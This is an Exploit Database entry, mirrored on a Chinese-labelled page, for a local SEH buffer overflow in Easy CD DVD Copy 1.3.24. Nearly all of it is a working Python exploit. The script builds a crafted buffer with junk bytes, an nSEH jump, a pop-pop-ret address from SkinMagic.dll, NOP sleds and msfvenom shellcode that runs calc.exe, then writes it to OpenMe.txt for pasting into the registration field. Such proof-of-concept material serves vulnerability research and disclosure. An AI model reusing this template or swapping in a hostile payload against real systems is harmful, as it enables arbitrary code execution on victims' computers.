Easy CD DVD Copy 1.3.24 – Local Buffer Overflow (SEH)

• Exploit Database
• 55 阅读

• 作者： Hashim Jawad
  日期： 2018-03-23
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44337/

• #!/usr/bin/python
  ###############################################################################
  # Exploit Title: Easy CD DVD Copy v1.3.24 - Local Buffer Overflow (SEH) #
  # Exploit Author : Hashim Jawad #
  # Twitter: @ihack4falafel # 
  # Author Website : ihack4falafel[.]com#
  # Vendor Homepage: http://www.divxtodvd.net/index.htm #
  # Vulnerable Software: http://www.divxtodvd.net/easy_cd_dvd_copy.exe#
  # Tested on OS : Windows XP professional SP3 - (996 bytes offset) #
  #Windows 7Enterprise SP1 - (1008 bytes offset)# 
  #Windows 10 Professional 64bit - (988 bytes offset) #
  # Steps to reproduce :#
  # ~ Copy the content of OpenMe.txt#
  # ~ Click on Register #
  # ~ Paste content in "Enter User Name" field#
  ###############################################################################
  
  import struct
  
  #root@kali:~# msfvenom -p windows/exec CMD=calc.exe -b "\x00" -f python -v shellcode (220 bytes)
  
  shellcode =""
  shellcode += "\xbf\xc6\xde\x94\x3e\xda\xd0\xd9\x74\x24\xf4\x5d"
  shellcode += "\x31\xc9\xb1\x31\x31\x7d\x13\x03\x7d\x13\x83\xc5"
  shellcode += "\xc2\x3c\x61\xc2\x22\x42\x8a\x3b\xb2\x23\x02\xde"
  shellcode += "\x83\x63\x70\xaa\xb3\x53\xf2\xfe\x3f\x1f\x56\xeb"
  shellcode += "\xb4\x6d\x7f\x1c\x7d\xdb\x59\x13\x7e\x70\x99\x32"
  shellcode += "\xfc\x8b\xce\x94\x3d\x44\x03\xd4\x7a\xb9\xee\x84"
  shellcode += "\xd3\xb5\x5d\x39\x50\x83\x5d\xb2\x2a\x05\xe6\x27"
  shellcode += "\xfa\x24\xc7\xf9\x71\x7f\xc7\xf8\x56\x0b\x4e\xe3"
  shellcode += "\xbb\x36\x18\x98\x0f\xcc\x9b\x48\x5e\x2d\x37\xb5"
  shellcode += "\x6f\xdc\x49\xf1\x57\x3f\x3c\x0b\xa4\xc2\x47\xc8"
  shellcode += "\xd7\x18\xcd\xcb\x7f\xea\x75\x30\x7e\x3f\xe3\xb3"
  shellcode += "\x8c\xf4\x67\x9b\x90\x0b\xab\x97\xac\x80\x4a\x78"
  shellcode += "\x25\xd2\x68\x5c\x6e\x80\x11\xc5\xca\x67\x2d\x15"
  shellcode += "\xb5\xd8\x8b\x5d\x5b\x0c\xa6\x3f\x31\xd3\x34\x3a"
  shellcode += "\x77\xd3\x46\x45\x27\xbc\x77\xce\xa8\xbb\x87\x05"
  shellcode += "\x8d\x34\xc2\x04\xa7\xdc\x8b\xdc\xfa\x80\x2b\x0b"
  shellcode += "\x38\xbd\xaf\xbe\xc0\x3a\xaf\xca\xc5\x07\x77\x26"
  shellcode += "\xb7\x18\x12\x48\x64\x18\x37\x2b\xeb\x8a\xdb\x82"
  shellcode += "\x8e\x2a\x79\xdb"
  
  buffer= "A" * 988# Junk
  buffer += "\xeb\x14\x90\x90" # + nSEH (Jump Code)
  buffer += struct.pack('<L', 0x10037b11)# + SEH (pop ebx # pop eax # ret| [SkinMagic.dll])
  buffer += "\x90" * 50# + NOP
  buffer += shellcode#+ shellcode 
  buffer += "\x90" * 50# + NOP
  
  try:
  	f=open("OpenMe.txt","w")
  	print "[+] Creating %s bytes evil payload.." %len(buffer)
  	f.write(buffer)
  	f.close()
  	print "[+] File created!"
  except:
  	print "File cannot be created"